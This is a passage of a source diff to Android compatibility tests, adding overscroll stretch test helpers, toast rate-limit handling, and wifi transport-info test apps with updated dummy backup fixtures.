+import androidx.test.InstrumentationRegistry
+import androidx.test.rule.ActivityTestRule
+import com.android.compatibility.common.util.CtsTouchUtils
+import com.android.compatibility.common.util.CtsTouchUtils.EventInjectionListener
+import com.android.compatibility.common.util.SynchronousPixelCopy
+import org.junit.Assert
+
+/* ---------------------------------------------------------------------------
+ * This file contains utility functions for testing the overscroll stretch
+ * effect. Containers are 90 x 90 pixels and contains colored rectangles
+ * that are 90 x 50 pixels (or 50 x 90 pixels for horizontal containers).
+ *
+ * The first rectangle must be Color.BLUE and the last rectangle must be
+ * Color.MAGENTA.
+ * ---------------------------------------------------------------------------
+ */
+
+/**
+ * This sleeps until the [AnimationUtils.currentAnimationTimeMillis] changes
+ * by at least `durationMillis` milliseconds. This is useful for EdgeEffect because
+ * it uses that mechanism to determine the animation duration.
+ *
+ * @param durationMillis The time to sleep in milliseconds.
+ */
+private fun sleepAnimationTime(durationMillis: Long) {
+    val startTime = AnimationUtils.currentAnimationTimeMillis()
+    var currentTime = startTime
+    val endTime = startTime + durationMillis
+    do {
+        Thread.sleep(endTime - currentTime)
+        currentTime = AnimationUtils.currentAnimationTimeMillis()
+    } while (currentTime < endTime)
+}
+
+/**
+ * Takes a screen shot at the given coordinates and returns the Bitmap.
+ */
+private fun takeScreenshot(
+    window: Window,
+    screenPositionX: Int,
+    screenPositionY: Int,
+    width: Int,
+    height: Int
+): Bitmap {
+    val copy = SynchronousPixelCopy()
+    val dest = Bitmap.createBitmap(
+            width, height,
+            if (window.isWideColorGamut()) Bitmap.Config.RGBA_F16 else Bitmap.Config.ARGB_8888)
+    val srcRect = Rect(0, 0, width, height)
+    srcRect.offset(screenPositionX, screenPositionY)
+    val copyResult: Int = copy.request(window, srcRect, dest)
+    Assert.assertEquals(PixelCopy.SUCCESS.toLong(), copyResult.toLong())
+    return dest
+}
+
+/**
+ * Drags an area of the screen and executes [onFinalMove] after sending the final drag
+ * motion and [onUp] after the drag up event has been sent.
+ */
+private fun dragAndExecute(
+    activityRule: ActivityTestRule<*>,
+    screenX: Int,
+    screenY: Int,
+    deltaX: Int,
+    deltaY: Int,
+    onFinalMove: () -> Unit = {},
+    onUp: () -> Unit = {}
+) {
+    val instrumentation = InstrumentationRegistry.getInstrumentation()
+    CtsTouchUtils.emulateDragGesture(instrumentation, activityRule,
+            screenX,
+            screenY,
+            deltaX,
+            deltaY,
+            160,
+            20,
+            object : EventInjectionListener {
+                private var mNumEvents = 0
+                override fun onDownInjected(xOnScreen: Int, yOnScreen: Int) {}
+                override fun onMoveInjected(xOnScreen: IntArray, yOnScreen: IntArray) {
+                    mNumEvents++
+                    if (mNumEvents == 20) {
+                        onFinalMove()
+                    }
+                }
+
+                override fun onUpInjected(xOnScreen: Int, yOnScreen: Int) {
+                    onUp()
+                }
+            })
+}
+
+/**
+ * Drags inside [view] starting at coordinates ([viewX], [viewY]) relative to [view] and moving
+ * ([deltaX], [deltaY]) pixels before lifting. A Bitmap is captured after the final drag event,
+ * before the up event.
+ * @return A Bitmap of [view] after the final drag motion event.
+ */
+private fun dragAndCapture(
+    activityRule: ActivityTestRule<*>,
+    view: View,
+    viewX: Int,
+    viewY: Int,
+    deltaX: Int,
+    deltaY: Int
+): Bitmap {
+    var bitmap: Bitmap? = null
+    val locationOnScreen = IntArray(2)
+    activityRule.runOnUiThread {
+        view.getLocationOnScreen(locationOnScreen)
+    }
+
+    val screenX = locationOnScreen[0]
+    val screenY = locationOnScreen[1]
+
+    dragAndExecute(
+            activityRule = activityRule,
+            screenX = screenX + viewX,
+            screenY = screenY + viewY,
+            deltaX = deltaX,
+            deltaY = deltaY,
+            onFinalMove = {
+                bitmap = takeScreenshot(
+                        activityRule.activity.window,
+                        screenX,
+                        screenY,
+                        view.width,
+                        view.height
+                )
+            }
+    )
+    return bitmap!!
+}
+
+/**
+ * Drags in [view], starting at coordinates ([viewX], [viewY]) relative to [view] and moving
+ * ([deltaX], [deltaY]) pixels before lifting. Immediately after the up event, a down event
+ * is sent. If it happens within 400 milliseconds of the last motion event, the Bitmap is captured
+ * after 600ms more. If an animation was going to run, this allows that animation to finish before
+ * capturing the Bitmap. This is attempted up to 5 times.
+ *
+ * @return A Bitmap of [view] after the drag, release, then tap and hold, or `null` if the
+ * device did not respond quickly enough.
+ */
+private fun dragHoldAndCapture(
+    activityRule: ActivityTestRule<*>,
+    view: View,
+    viewX: Int,
+    viewY: Int,
+    deltaX: Int,
+    deltaY: Int
+): Bitmap? {
+    val locationOnScreen = IntArray(2)
+    activityRule.runOnUiThread {
+        view.getLocationOnScreen(locationOnScreen)
+    }
+
+    val screenX = locationOnScreen[0]
+    val screenY = locationOnScreen[1]
+
+    val instrumentation = InstrumentationRegistry.getInstrumentation()
+
+    // Try 5 times at most. If it fails, just return the null bitmap
+    repeat(5) {
+        var lastMotion = 0L
+        var bitmap: Bitmap? = null
+        dragAndExecute(
+                activityRule = activityRule,
+                screenX = screenX + viewX,
+                screenY = screenY + viewY,
+                deltaX = deltaX,
+                deltaY = deltaY,
+                onFinalMove = {
+                    lastMotion = AnimationUtils.currentAnimationTimeMillis()
+                },
+                onUp = {
+                    // Now press
+                    CtsTouchUtils.injectDownEvent(instrumentation.getUiAutomation(),
+                            SystemClock.uptimeMillis(), screenX + viewX,
+                            screenY + viewY, null)
+
+                    val downInjected = AnimationUtils.currentAnimationTimeMillis()
+
+                    // The receding time is based on the spring, but 100 ms should be soon
+                    // enough that the animation is within the beginning and it shouldn't have
+                    // receded far yet.
+                    if (downInjected - lastMotion < 50) {
+                        // Now make sure that we wait until the release should normally have finished:
+                        sleepAnimationTime(600)
+
+                        bitmap = takeScreenshot(
+                                activityRule.activity.window,
+                                screenX,
+                                screenY,
+                                view.width,
+                                view.height
+                        )
+                    }
+                }
+        )
+
+        CtsTouchUtils.injectUpEvent(instrumentation.getUiAutomation(),
+                SystemClock.uptimeMillis(), false,
+                screenX + viewX, screenY + viewY, null)
+
+        if (bitmap != null) {
+            return bitmap // success!
+        }
+    }
+    return null // timing didn't allow for success this time, so return a null
+}
+
+/**
+ * Drags down on [view] and ensures that the blue rectangle is stretched to beyond its normal
+ * size.
+ */
+fun dragDownStretches(
+    activityRule: ActivityTestRule<*>,
+    view: View
+): Boolean {
+    val bitmap = dragAndCapture(
+            activityRule,
+            view,
+            45,
+            20,
+            0,
+            300
+    )
+
+    // The blue should stretch beyond its normal dimensions
+    return bitmap.getPixel(45, 51) == Color.BLUE
+}
+
+/**
+ * Drags right on [view] and ensures that the blue rectangle is stretched to beyond its normal
+ * size.
+ */
+fun dragRightStretches(
+    activityRule: ActivityTestRule<*>,
+    view: View
+): Boolean {
+    val bitmap = dragAndCapture(
+            activityRule,
+            view,
+            20,
+            45,
+            300,
+            0
+    )
+
+    // The blue should stretch beyond its normal dimensions
+    return bitmap.getPixel(50, 45) == Color.BLUE
+}
+
+/**
+ * Drags up on [view] and ensures that the magenta rectangle is stretched to beyond its normal
+ * size.
+ */
+fun dragUpStretches(
+    activityRule: ActivityTestRule<*>,
+    view: View
+): Boolean {
+    val bitmap = dragAndCapture(
+            activityRule,
+            view,
+            45,
+            70,
+            0,
+            -300
+    )
+
+    // The magenta should stretch beyond its normal dimensions
+    return bitmap.getPixel(45, 39) == Color.MAGENTA
+}
+
+/**
+ * Drags left on [view] and ensures that the magenta rectangle is stretched to beyond its normal
+ * size.
+ */
+fun dragLeftStretches(
+    activityRule: ActivityTestRule<*>,
+    view: View
+): Boolean {
+    val bitmap = dragAndCapture(
+            activityRule,
+            view,
+            70,
+            45,
+            -300,
+            0
+    )
+
+    // The magenta should stretch beyond its normal dimensions
+    return bitmap.getPixel(39, 45) == Color.MAGENTA
+}
+
+/**
+ * Drags down, then taps and holds to ensure that holding stops the stretch from receding.
+ * @return `true` if the hold event prevented the stretch from being released.
+ */
+fun dragDownTapAndHoldStretches(
+    activityRule: ActivityTestRule<*>,
+    view: View
+): Boolean {
+    val bitmap = dragHoldAndCapture(
+            activityRule,
+            view,
+            45,
+            20,
+            0,
+            300
+    ) ?: return true // when timing fails to get a bitmap, don't treat it as a flake
+
+    // The blue should stretch beyond its normal dimensions
+    return bitmap.getPixel(45, 50) == Color.BLUE
+}
+
+/**
+ * Drags right, then taps and holds to ensure that holding stops the stretch from receding.
+ * @return `true` if the hold event prevented the stretch from being released.
+ */
+fun dragRightTapAndHoldStretches(
+    activityRule: ActivityTestRule<*>,
+    view: View
+): Boolean {
+    val bitmap = dragHoldAndCapture(
+            activityRule,
+            view,
+            20,
+            45,
+            300,
+            0
+    ) ?: return true // when timing fails to get a bitmap, don't treat it as a flake
+
+    // The blue should stretch beyond its normal dimensions
+    return bitmap.getPixel(50, 45) == Color.BLUE
+}
+
+/**
+ * Drags up, then taps and holds to ensure that holding stops the stretch from receding.
+ * @return `true` if the hold event prevented the stretch from being released.
+ */
+fun dragUpTapAndHoldStretches(
+    activityRule: ActivityTestRule<*>,
+    view: View
+): Boolean {
+    val bitmap = dragHoldAndCapture(
+            activityRule,
+            view,
+            45,
+            70,
+            0,
+            -300
+    ) ?: return true // when timing fails to get a bitmap, don't treat it as a flake
+
+    // The magenta should stretch beyond its normal dimensions
+    return bitmap.getPixel(45, 39) == Color.MAGENTA
+}
+
+/**
+ * Drags left, then taps and holds to ensure that holding stops the stretch from receding.
+ * @return `true` if the hold event prevented the stretch from being released.
+ */
+fun dragLeftTapAndHoldStretches(
+    activityRule: ActivityTestRule<*>,
+    view: View
+): Boolean {
+    val bitmap = dragHoldAndCapture(
+            activityRule,
+            view,
+            70,
+            45,
+            -300,
+            0
+    ) ?: return true // when timing fails to get a bitmap, don't treat it as a flake
+
+    // The magenta should stretch beyond its normal dimensions
+    return bitmap.getPixel(39, 45) == Color.MAGENTA
+}
diff --git a/tests/tests/widget29/AndroidManifest.xml b/tests/tests/widget29/AndroidManifest.xml
index e8973fc..d338368 100644
--- a/tests/tests/widget29/AndroidManifest.xml
+++ b/tests/tests/widget29/AndroidManifest.xml
@@ -16,31 +16,31 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.widget.cts29">
+     package="android.widget.cts29">
 
     <application android:label="Android TestCase 29"
-            android:maxRecents="1"
-            android:multiArch="true"
-            android:supportsRtl="true"
-            android:theme="@android:style/Theme.Material.Light.DarkActionBar">
+         android:maxRecents="1"
+         android:multiArch="true"
+         android:supportsRtl="true"
+         android:theme="@android:style/Theme.Material.Light.DarkActionBar">
 
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
         <activity android:name="android.widget.cts29.CtsActivity"
-                  android:label="CtsActivity">
+             android:label="CtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.widget.cts29"
-                     android:label="(SDK 29) CTS tests of android.widget">
+         android:targetPackage="android.widget.cts29"
+         android:label="(SDK 29) CTS tests of android.widget">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
 </manifest>
-
diff --git a/tests/tests/widget29/src/android/widget/cts29/ToastTest.java b/tests/tests/widget29/src/android/widget/cts29/ToastTest.java
index 49cd0de..d1fa4b7 100644
--- a/tests/tests/widget29/src/android/widget/cts29/ToastTest.java
+++ b/tests/tests/widget29/src/android/widget/cts29/ToastTest.java
@@ -24,6 +24,7 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assume.assumeFalse;
 
+import android.app.NotificationManager;
 import android.content.Context;
 import android.content.pm.PackageManager;
 import android.graphics.drawable.Drawable;
@@ -52,6 +53,7 @@
 
 import junit.framework.Assert;
 
+import org.junit.After;
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
@@ -70,10 +72,12 @@
     private static final int ACCESSIBILITY_STATE_WAIT_TIMEOUT_MS = 3000;
     private static final long TIME_FOR_UI_OPERATION  = 1000L;
     private static final long TIME_OUT = 5000L;
+
     private Toast mToast;
     private Context mContext;
     private boolean mLayoutDone;
     private ViewTreeObserver.OnGlobalLayoutListener mLayoutListener;
+    private NotificationManager mNotificationManager;
 
     @Rule
     public ActivityTestRule<CtsActivity> mActivityRule =
@@ -83,6 +87,18 @@
     public void setup() {
         mContext = InstrumentationRegistry.getTargetContext();
         mLayoutListener = () -> mLayoutDone = true;
+        mNotificationManager =
+                mContext.getSystemService(NotificationManager.class);
+        // disable rate limiting for tests
+        SystemUtil.runWithShellPermissionIdentity(() -> mNotificationManager
+                .setToastRateLimitingEnabled(false));
+    }
+
+    @After
+    public void teardown() {
+        // re-enable rate limiting
+        SystemUtil.runWithShellPermissionIdentity(() -> mNotificationManager
+                .setToastRateLimitingEnabled(true));
     }
 
     @UiThreadTest
diff --git a/tests/tests/wifi/Android.bp b/tests/tests/wifi/Android.bp
index aa269cf..4349126 100644
--- a/tests/tests/wifi/Android.bp
+++ b/tests/tests/wifi/Android.bp
@@ -12,13 +12,23 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+
 package {
     default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
+java_defaults {
+    name: "CtsWifiLastStableSdkDefaults",
+    target_sdk_version: "30",
+    min_sdk_version: "30",
+}
+
 android_test {
     name: "CtsWifiTestCases",
-    defaults: ["cts_defaults"],
+    defaults: [
+        "cts_defaults",
+        "CtsWifiLastStableSdkDefaults",
+    ],
 
     // Include both the 32 and 64 bit versions
     compile_multilib: "both",
@@ -30,6 +40,7 @@
     srcs: [ "src/**/*.java" ],
     jarjar_rules: "jarjar-rules.txt",
     static_libs: [
+        "androidx.appcompat_appcompat",
         "androidx.test.rules",
         "compatibility-device-util-axt",
         "ctstestrunner-axt",
@@ -42,12 +53,11 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
         "mts-tethering",
-	"sts",
+        "mts-wifi",
+        "sts",
     ],
 
-
     data: [
         ":CtsWifiLocationTestApp",
     ],
diff --git a/tests/tests/wifi/AndroidTest.xml b/tests/tests/wifi/AndroidTest.xml
index 518053c..421a9f7 100644
--- a/tests/tests/wifi/AndroidTest.xml
+++ b/tests/tests/wifi/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="mainline-param" value="com.google.android.wifi.apex" />
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/wifi/CtsWifiLocationTestApp/Android.bp b/tests/tests/wifi/CtsWifiLocationTestApp/Android.bp
index 69f1403..824b003 100644
--- a/tests/tests/wifi/CtsWifiLocationTestApp/Android.bp
+++ b/tests/tests/wifi/CtsWifiLocationTestApp/Android.bp
@@ -19,6 +19,8 @@
 android_test {
     name: "CtsWifiLocationTestApp",
 
+    defaults: ["CtsWifiLastStableSdkDefaults"],
+
     // Include both the 32 and 64 bit versions
     compile_multilib: "both",
 
@@ -27,4 +29,9 @@
     srcs: [
         "src/**/*.java"
     ],
+
+    static_libs: [
+        "androidx.appcompat_appcompat",
+        "androidx.test.rules",
+    ],
 }
diff --git a/tests/tests/wifi/CtsWifiLocationTestApp/AndroidManifest.xml b/tests/tests/wifi/CtsWifiLocationTestApp/AndroidManifest.xml
index 96fb0a6..9ad760b 100644
--- a/tests/tests/wifi/CtsWifiLocationTestApp/AndroidManifest.xml
+++ b/tests/tests/wifi/CtsWifiLocationTestApp/AndroidManifest.xml
@@ -22,6 +22,7 @@
 
     <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
     <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
+    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
     <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
     <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
 
@@ -50,5 +51,12 @@
             android:name=".RetrieveConnectionInfoAndReturnStatusService"
             android:permission="android.permission.BIND_JOB_SERVICE"
             android:exported="true" />
+        <activity
+            android:name=".RetrieveTransportInfoAndReturnStatusActivity"
+            android:exported="true" />
+        <service
+            android:name=".RetrieveTransportInfoAndReturnStatusService"
+            android:permission="android.permission.BIND_JOB_SERVICE"
+            android:exported="true" />
     </application>
 </manifest>
diff --git a/tests/tests/wifi/CtsWifiLocationTestApp/src/android/net/wifi/cts/app/RetrieveTransportInfoAndReturnStatusActivity.java b/tests/tests/wifi/CtsWifiLocationTestApp/src/android/net/wifi/cts/app/RetrieveTransportInfoAndReturnStatusActivity.java
new file mode 100644
index 0000000..e8fb06d
--- /dev/null
+++ b/tests/tests/wifi/CtsWifiLocationTestApp/src/android/net/wifi/cts/app/RetrieveTransportInfoAndReturnStatusActivity.java
@@ -0,0 +1,120 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.wifi.cts.app;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.net.ConnectivityManager;
+import android.net.LinkProperties;
+import android.net.Network;
+import android.net.NetworkCapabilities;
+import android.net.NetworkRequest;
+import android.net.TransportInfo;
+import android.net.wifi.WifiInfo;
+import android.net.wifi.WifiManager;
+import android.os.Bundle;
+import android.util.Log;
+
+import java.util.Objects;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * An activity that retrieves Transport info and returns status.
+ */
+public class RetrieveTransportInfoAndReturnStatusActivity extends Activity {
+    private static final String TAG = "RetrieveTransportInfoAndReturnStatusActivity";
+    private static final String STATUS_EXTRA = "android.net.wifi.cts.app.extra.STATUS";
+    private static final int DURATION_NETWORK_CONNECTION_MILLIS = 60_000;
+
+    private static class TestNetworkCallback extends ConnectivityManager.NetworkCallback {
+        private final CountDownLatch mCountDownLatch;
+        public boolean onAvailableCalled = false;
+        public NetworkCapabilities networkCapabilities;
+
+        TestNetworkCallback(CountDownLatch countDownLatch) {
+            super(ConnectivityManager.NetworkCallback.FLAG_INCLUDE_LOCATION_INFO);
+            mCountDownLatch = countDownLatch;
+        }
+
+        @Override
+        public void onAvailable(Network network) {
+            onAvailableCalled = true;
+        }
+
+        @Override
+        public void onCapabilitiesChanged(Network network,
+                NetworkCapabilities networkCapabilities) {
+            if (onAvailableCalled) {
+                this.networkCapabilities = networkCapabilities;
+                mCountDownLatch.countDown();
+            }
+        }
+    }
+
+    public static boolean canRetrieveSsidFromTransportInfo(
+            String logTag, ConnectivityManager connectivityManager) {
+        CountDownLatch countDownLatch = new CountDownLatch(1);
+        TestNetworkCallback testNetworkCallback = new TestNetworkCallback(countDownLatch);
+        try {
+            // File a callback for wifi network.
+            connectivityManager.registerNetworkCallback(
+                    new NetworkRequest.Builder()
+                            .addTransportType(NetworkCapabilities.TRANSPORT_WIFI)
+                            .build(),
+                    testNetworkCallback);
+            // Wait for callback.
+            if (!countDownLatch.await(
+                    DURATION_NETWORK_CONNECTION_MILLIS, TimeUnit.MILLISECONDS)) {
+                Log.e(logTag, "Timed out waiting for wifi network");
+                return false;
+            }
+            if (!testNetworkCallback.onAvailableCalled) {
+                Log.e(logTag, "Failed to get wifi network onAvailable");
+                return false;
+            }
+            TransportInfo transportInfo =
+                    testNetworkCallback.networkCapabilities.getTransportInfo();
+            if (!(transportInfo instanceof WifiInfo)) {
+                Log.e(logTag, "Failed to retrieve WifiInfo");
+                return false;
+            }
+            WifiInfo wifiInfo = (WifiInfo) transportInfo;
+            boolean succeeded = !Objects.equals(wifiInfo.getSSID(), WifiManager.UNKNOWN_SSID);
+            if (succeeded) {
+                Log.v(logTag, "SSID from transport info retrieval succeeded");
+            } else {
+                Log.v(logTag, "Failed to retrieve SSID from transport info");
+            }
+            return succeeded;
+        } catch (InterruptedException e) {
+            return false;
+        } finally {
+            connectivityManager.unregisterNetworkCallback(testNetworkCallback);
+        }
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        ConnectivityManager connectivityManager  = getSystemService(ConnectivityManager.class);
+        setResult(RESULT_OK, new Intent().putExtra(
+                STATUS_EXTRA, canRetrieveSsidFromTransportInfo(TAG, connectivityManager)));
+        finish();
+    }
+}
diff --git a/tests/tests/wifi/CtsWifiLocationTestApp/src/android/net/wifi/cts/app/RetrieveTransportInfoAndReturnStatusService.java b/tests/tests/wifi/CtsWifiLocationTestApp/src/android/net/wifi/cts/app/RetrieveTransportInfoAndReturnStatusService.java
new file mode 100644
index 0000000..1476455
--- /dev/null
+++ b/tests/tests/wifi/CtsWifiLocationTestApp/src/android/net/wifi/cts/app/RetrieveTransportInfoAndReturnStatusService.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.wifi.cts.app;
+
+import static android.net.wifi.cts.app.RetrieveTransportInfoAndReturnStatusActivity.canRetrieveSsidFromTransportInfo;
+
+import android.app.job.JobParameters;
+import android.app.job.JobService;
+import android.content.Intent;
+import android.net.ConnectivityManager;
+import android.net.wifi.WifiManager;
+import android.os.ResultReceiver;
+import android.util.Log;
+
+/**
+ * A service that retrieves transport Info and returns status.
+ */
+public class RetrieveTransportInfoAndReturnStatusService extends JobService {
+    private static final String TAG = "RetrieveTransportInfoAndReturnStatusService";
+    private static final String RESULT_RECEIVER_EXTRA =
+            "android.net.wifi.cts.app.extra.RESULT_RECEIVER";
+
+    @Override
+    public boolean onStartJob(JobParameters jobParameters) {
+        ResultReceiver resultReceiver =
+                jobParameters.getTransientExtras().getParcelable(RESULT_RECEIVER_EXTRA);
+        ConnectivityManager connectivityManager  = getSystemService(ConnectivityManager.class);
+        resultReceiver.send(
+                canRetrieveSsidFromTransportInfo(TAG, connectivityManager) ? 1 : 0, null);
+        return false;
+    }
+
+    @Override
+    public boolean onStopJob(JobParameters jobParameters) {
+        return false;
+    }
+}
diff --git a/tests/tests/wifi/CtsWifiLocationTestApp/src/android/net/wifi/cts/app/ScheduleJobActivity.java b/tests/tests/wifi/CtsWifiLocationTestApp/src/android/net/wifi/cts/app/ScheduleJobActivity.java
index b447878..c1c292b 100644
--- a/tests/tests/wifi/CtsWifiLocationTestApp/src/android/net/wifi/cts/app/ScheduleJobActivity.java
+++ b/tests/tests/wifi/CtsWifiLocationTestApp/src/android/net/wifi/cts/app/ScheduleJobActivity.java
@@ -57,7 +57,5 @@
         jobScheduler.schedule(jobInfo);
 
         Log.v(TAG,"Job scheduled: " + jobInfo);
-
-        finish();
     }
 }
diff --git a/tests/tests/wifi/OWNERS b/tests/tests/wifi/OWNERS
index 28faebd..7d9d0f9 100644
--- a/tests/tests/wifi/OWNERS
+++ b/tests/tests/wifi/OWNERS
@@ -1,5 +1,4 @@
 # Bug component: 33618
 dysu@google.com
 etancohen@google.com
-rpius@google.com
 satk@google.com
diff --git a/tests/tests/wifi/TEST_MAPPING b/tests/tests/wifi/TEST_MAPPING
new file mode 100644
index 0000000..7ddc308
--- /dev/null
+++ b/tests/tests/wifi/TEST_MAPPING
@@ -0,0 +1,22 @@
+{
+  "presubmit-large": [
+    {
+      "name": "CtsWifiTestCases",
+      "options": [
+        {
+          "exclude-annotation": "android.net.wifi.cts.VirtualDeviceNotSupported"
+        }
+      ]
+    }
+  ],
+  "mainline-presubmit": [
+    {
+      "name": "CtsWifiTestCases[com.google.android.wifi.apex]",
+      "options": [
+        {
+          "exclude-annotation": "android.net.wifi.cts.VirtualDeviceNotSupported"
+        }
+      ]
+    }
+  ]
+}
diff --git a/tests/tests/wifi/assets/BackupLegacyFormatSupplicantConf.txt b/tests/tests/wifi/assets/BackupLegacyFormatSupplicantConf.txt
index 1e296e6..2beffaf 100644
--- a/tests/tests/wifi/assets/BackupLegacyFormatSupplicantConf.txt
+++ b/tests/tests/wifi/assets/BackupLegacyFormatSupplicantConf.txt
@@ -1,8 +1,8 @@
 network={
         ssid="TestSsid1"
         key_mgmt=NONE
-        wep_key0="WepAscii1"
-        wep_key1="WepAscii2"
+        wep_key0="WepAscii12345"
+        wep_key1="WepAs"
         wep_key2=45342312ab
         wep_key3=45342312ab45342312ab34ac12
         wep_tx_keyidx=1
diff --git a/tests/tests/wifi/assets/BackupV1.0Format.xml b/tests/tests/wifi/assets/BackupV1.0Format.xml
index b68bdbe..84adbe3 100644
--- a/tests/tests/wifi/assets/BackupV1.0Format.xml
+++ b/tests/tests/wifi/assets/BackupV1.0Format.xml
@@ -8,8 +8,8 @@
 <string name="SSID">&quot;TestSsid1&quot;</string>
 <null name="PreSharedKey" />
 <string-array name="WEPKeys" num="4">
-<item value="&quot;WepAscii1&quot;" />
-<item value="&quot;WepAscii2&quot;" />
+<item value="&quot;WepAscii12345&quot;" />
+<item value="&quot;WepAs&quot;" />
 <item value="45342312ab" />
 <item value="45342312ab45342312ab34ac12" />
 </string-array>
diff --git a/tests/tests/wifi/assets/BackupV1.1Format.xml b/tests/tests/wifi/assets/BackupV1.1Format.xml
index 1fc9360..c28f22e 100644
--- a/tests/tests/wifi/assets/BackupV1.1Format.xml
+++ b/tests/tests/wifi/assets/BackupV1.1Format.xml
@@ -8,8 +8,8 @@
 <string name="SSID">&quot;TestSsid1&quot;</string>
 <null name="PreSharedKey" />
 <string-array name="WEPKeys" num="4">
-<item value="&quot;WepAscii1&quot;" />
-<item value="&quot;WepAscii2&quot;" />
+<item value="&quot;WepAscii12345&quot;" />
+<item value="&quot;WepAs&quot;" />
 <item value="45342312ab" />
 <item value="45342312ab45342312ab34ac12" />
 </string-array>
diff --git a/tests/tests/wifi/assets/BackupV1.2Format.xml b/tests/tests/wifi/assets/BackupV1.2Format.xml
index c55a5a7..411918a 100644
--- a/tests/tests/wifi/assets/BackupV1.2Format.xml
+++ b/tests/tests/wifi/assets/BackupV1.2Format.xml
@@ -8,8 +8,8 @@
 <string name="SSID">&quot;TestSsid1&quot;</string>
 <null name="PreSharedKey" />
 <string-array name="WEPKeys" num="4">
-<item value="&quot;WepAscii1&quot;" />
-<item value="&quot;WepAscii2&quot;" />
+<item value="&quot;WepAscii12345&quot;" />
+<item value="&quot;WepAs&quot;" />
 <item value="45342312ab" />
 <item value="45342312ab45342312ab34ac12" />
 </string-array>
diff --git a/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java b/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java
index cebc20a..4aab967 100644
--- a/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java
@@ -16,7 +16,6 @@
 
 package android.net.wifi.aware.cts;
 
-import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotEquals;
 import static org.mockito.Mockito.mock;
 
@@ -32,6 +31,7 @@
 import android.net.NetworkRequest;
 import android.net.wifi.WifiManager;
 import android.net.wifi.aware.AttachCallback;
+import android.net.wifi.aware.AwareResources;
 import android.net.wifi.aware.Characteristics;
 import android.net.wifi.aware.DiscoverySession;
 import android.net.wifi.aware.DiscoverySessionCallback;
@@ -50,7 +50,8 @@
 import android.os.HandlerThread;
 import android.os.Parcel;
 import android.platform.test.annotations.AppModeFull;
-import android.test.AndroidTestCase;
+
+import androidx.core.os.BuildCompat;
 
 import com.android.compatibility.common.util.SystemUtil;
 
@@ -78,6 +79,9 @@
     private static final int MIN_DISTANCE_MM = 1 * 1000;
     private static final int MAX_DISTANCE_MM = 3 * 1000;
     private static final byte[] PMK_VALID = "01234567890123456789012345678901".getBytes();
+    private static final int AVAILABLE_DATA_PATH_COUNT = 2;
+    private static final int AVAILABLE_PUBLISH_SESSION_COUNT = 8;
+    private static final int AVAILABLE_SUBSCRIBE_SESSION_COUNT = 8;
 
     private final Object mLock = new Object();
     private final HandlerThread mHandlerThread = new HandlerThread("SingleDeviceTest");
@@ -201,6 +205,7 @@
         static final int ON_MESSAGE_SEND_SUCCEEDED = 6;
         static final int ON_MESSAGE_SEND_FAILED = 7;
         static final int ON_MESSAGE_RECEIVED = 8;
+        static final int ON_SESSION_DISCOVERED_LOST = 9;
 
         private final Object mLocalLock = new Object();
 
@@ -269,6 +274,11 @@
             processCallback(ON_MESSAGE_RECEIVED);
         }
 
+        @Override
+        public void onServiceLost(PeerHandle peerHandle, int reason) {
+            processCallback(ON_SESSION_DISCOVERED_LOST);
+        }
+
         /**
          * Wait for the specified callback - any of the ON_* constants. Returns a true
